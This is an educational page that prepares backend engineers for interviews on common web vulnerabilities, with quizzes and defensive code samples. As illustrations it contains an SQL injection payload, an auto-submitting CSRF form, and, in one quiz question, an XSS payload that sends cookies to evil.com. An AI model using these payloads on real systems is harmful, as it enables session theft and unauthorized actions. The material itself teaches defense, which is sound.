Web Vulnerabilities

7 min read

Reading Progress0%
Web Backend Fundamentals Index
Tier 1 -- Core Web & API Basics
Tier 2 -- Communication Models
Tier 3 -- Production & API Hardening
Web Backend Fundamentals Index
Tier 1 -- Core Web & API Basics
Tier 2 -- Communication Models
Tier 3 -- Production & API Hardening

Web Vulnerabilities

1. What It Is

Web vulnerabilities are classes of security bugs that allow attackers to compromise the confidentiality, integrity, or availability of a web application. As a backend engineer, you don't need to be a penetration tester, but you must know the common attack patterns so you don't accidentally introduce them.

The OWASP Top 10 (2021/2025) is the industry reference. This document covers the most interview-relevant and practically important ones: , , , IDOR, and a few others that regularly appear in backend work.


QUICK CHECK

Which of the following best describes why backend engineers need to understand common web vulnerability patterns like SQL Injection, XSS, and CSRF?

Choose one answer

2. How It Works in Practice

SQL Injection (SQLi)

An attacker injects SQL syntax into user input to manipulate database queries.

# Vulnerable — string interpolation into a query
query = f"SELECT * FROM users WHERE email = '{user_input}'"
# Attacker input: ' OR '1'='1
# Resulting query: SELECT * FROM users WHERE email = '' OR '1'='1'
# → returns all users

# Safe — parameterized query
query = "SELECT * FROM users WHERE email = %s"
cursor.execute(query, (user_input,))

Fix: always use parameterized queries or ORM query builders that bind parameters separately. Never concatenate user input into SQL strings.


Cross-Site Scripting (XSS)

An attacker injects JavaScript into a page that runs in other users' browsers. The script can steal cookies, redirect to phishing pages, or exfiltrate data.

Three types:

  • Stored : malicious script saved in the database (e.g., a comment field), rendered to all users.
  • Reflected : payload in a URL parameter, rendered in the server response.
  • DOM XSS: payload processed and inserted into the DOM entirely in the browser, never touches the server.

Fixes:

  1. Escape all user-controlled output in HTML context (use template engines that auto-escape: React, Django templates, Jinja2 with autoescaping).
  2. Set Content-Security-Policy header to restrict script sources.
  3. Use HttpOnly on cookies so stolen cookies can't be read by JavaScript even if XSS succeeds.

Cross-Site Request Forgery (CSRF)

A malicious site tricks an authenticated user's browser into making a request to your server using their existing (browsers attach cookies automatically).

<!-- On attacker's site -->
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker_account">
  <input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>

If the user is logged into bank.com, this form submits with their real cookies.

Fixes:

  1. SameSite=Strict/Lax on cookies — browser won't send cookies on cross-site requests (modern, preferred).
  2. tokens — server issues a random token per ; client must include it in every state-changing request; server validates it.
  3. Check Origin/Referer headers as a defense-in-depth measure.

Insecure Direct Object Reference (IDOR)

A user accesses resources belonging to another user by guessing or modifying an ID.

GET /api/invoices/1042    → returns your invoice
GET /api/invoices/1041    → returns someone else's invoice (bug!)

The server returns invoice 1041 without checking if the authenticated user owns it.

Fix: always check authorization at the object level — verify the requesting user has permission to access the specific record, not just that they are authenticated.

invoice = db.get_invoice(invoice_id)
if invoice.owner_id != current_user.id:
    raise PermissionDenied

Security Misconfiguration

Leaving debug endpoints exposed, running with default credentials, exposing stack traces to users, or having overly permissive headers.

Common examples:

  • Access-Control-Allow-Origin: * on an API that uses auth (cookies aren't sent with * origin, but it's still a signal of sloppy thinking)
  • Error responses that include SQL errors, stack traces, or internal paths
  • Admin interfaces accessible without IP allowlisting

Sensitive Data Exposure

Storing or transmitting sensitive data without adequate protection:

  • Passwords stored as plain text or with weak hashing (MD5, SHA-1) — use bcrypt, scrypt, or Argon2.
  • API keys or secrets in version control or log files.
  • Returning more data than needed in API responses (e.g., including password_hash in a user JSON response).

QUICK CHECK

A web application has a comment feature where users can post text that is stored in a database and displayed to all visitors. An attacker posts the following as a comment: <script>document.location='https://evil.com/steal?c='+document.cookie</script>. Every user who visits the page afterwards has their session cookie sent to the attacker's server. Which type of XSS attack is this, and why?

Choose one answer

3. Common Real-World Usage (Defense Patterns)

Input validation and parameterization: validate on the server side. Never trust client input.

Output encoding: encode before rendering. Use framework auto-escaping.

Principle of least privilege: DB users should only have SELECT/INSERT/UPDATE on needed tables. API endpoints should check permissions at the row level.

Security headers:

Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000; includeSubDomains

Dependency scanning: use tools like Snyk, Dependabot, or npm audit / pip-audit to catch vulnerable library versions.


QUICK CHECK

A database user account used by a web application's API needs to display user profiles and allow users to update their own settings. Following the principle of least privilege, which set of database permissions is most appropriate for this account?

Choose one answer

4. Trade-offs and Common Mistakes

Not validating on the server side: "the frontend validates input so the backend doesn't need to" — this is wrong. Attackers bypass the frontend.

Trusting headers from clients: X-User-ID, X-Admin: true headers set by the client should never be trusted for authorization decisions.

Using UUIDs as a security measure against IDOR: UUIDs make IDs harder to guess, but are not a substitute for authorization checks. An attacker who gets someone else's UUID (from a URL in a shared link, for example) can still access the resource.

Over-permissive : Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true is a browser-rejected misconfiguration, but reflecting back any Origin header without validation is equally dangerous.

Logging sensitive data: logging request bodies or headers that contain passwords, tokens, or PII creates a secondary breach vector.


QUICK CHECK

A web application assigns UUIDs as resource identifiers instead of sequential integers, and a developer argues that no additional authorization checks are needed because UUIDs are practically impossible to guess. A user then shares a link containing their resource's UUID in a group chat. Which of the following best describes the security outcome?

Choose one answer

5. Interview Angle

How to explain it

"The most common classes of backend vulnerabilities are SQLi (unsanitized input in queries), (unsanitized output in HTML), (cross-site state-change requests using cookies), and IDOR (missing row-level authorization). Defense is mostly about: parameterize queries, encode output, use SameSite cookies + tokens for CSRF, and always check permissions at the object level."

Common interview questions

Q: How do you prevent ? A: Use parameterized queries or an ORM. Never concatenate user input into SQL strings.

Q: What is the difference between and CSRF? A: XSS is code injection — the attacker's script runs in the victim's browser, stealing data from your site. CSRF is a request forgery — the attacker tricks the victim's browser into making a legitimate-looking request to your site using their credentials. XSS is about what the attacker reads; CSRF is about what the attacker causes the server to do.

Q: How do you prevent CSRF? A: Set SameSite=Lax or Strict on cookies (modern browsers handle this automatically). For APIs that must support legacy flows, use CSRF tokens.

Q: What is IDOR and how do you fix it? A: Insecure Direct Object Reference — when a user can access another user's resource by changing an ID parameter. Fix: check that the authenticated user owns or has permission to access the specific object on every request, not just that they're logged in.

Q: Where should passwords be stored? A: Hashed using a slow, salted algorithm: bcrypt (work factor 12+), scrypt, or Argon2id. Never MD5, SHA-1, or unsalted SHA-256.


QUICK CHECK

A user discovers they can view another user's private order details by changing the order ID in the URL from /orders/1001 to /orders/1002, even though both users are authenticated. Which defense directly addresses this vulnerability?

Choose one answer

6. Practical Examples

Parameterized query (Node.js + pg)

// Vulnerable
const result = await db.query(`SELECT * FROM users WHERE id = ${req.params.id}`);

// Safe
const result = await db.query('SELECT * FROM users WHERE id = $1', [req.params.id]);

IDOR check (Python/Django)

@login_required
def get_invoice(request, invoice_id):
    invoice = get_object_or_404(Invoice, pk=invoice_id)
    if invoice.user != request.user:
        return HttpResponse(status=403)  # or raise PermissionDenied
    return JsonResponse(invoice.to_dict())

CSRF token in Express

// The 'csurf' package was deprecated in 2023 due to a security vulnerability.
// For modern apps, SameSite=Lax/Strict cookies (covered above) are the preferred defense.
// If you need explicit CSRF tokens for legacy browser support, use 'csrf-csrf':

const { doubleCsrf } = require('csrf-csrf');

const { generateToken, doubleCsrfProtection } = doubleCsrf({
  getSecret: () => process.env.CSRF_SECRET,
  cookieName: '__Host-csrf-token',
});

app.get('/form', (req, res) => {
  res.render('form', { csrfToken: generateToken(req, res) });
});

app.post('/submit', doubleCsrfProtection, (req, res) => {
  // Middleware throws if CSRF token doesn't match
  handleSubmit(req, res);
});

bcrypt password hashing (Node.js)

const bcrypt = require('bcrypt');

// On registration
const hash = await bcrypt.hash(plainPassword, 12); // cost factor 12
await db.saveUser({ email, passwordHash: hash });

// On login
const match = await bcrypt.compare(plainPassword, storedHash);
if (!match) return res.status(401).json({ error: 'Invalid credentials' });

Security headers (Express + helmet)

const helmet = require('helmet');
app.use(helmet()); // Sets CSP, X-Frame-Options, HSTS, X-Content-Type-Options, etc.
QUICK CHECK

A developer writes the following Node.js database query: db.query('SELECT * FROM users WHERE id = ' + req.params.id). What is the correct fix, and why does it work?

Choose one answer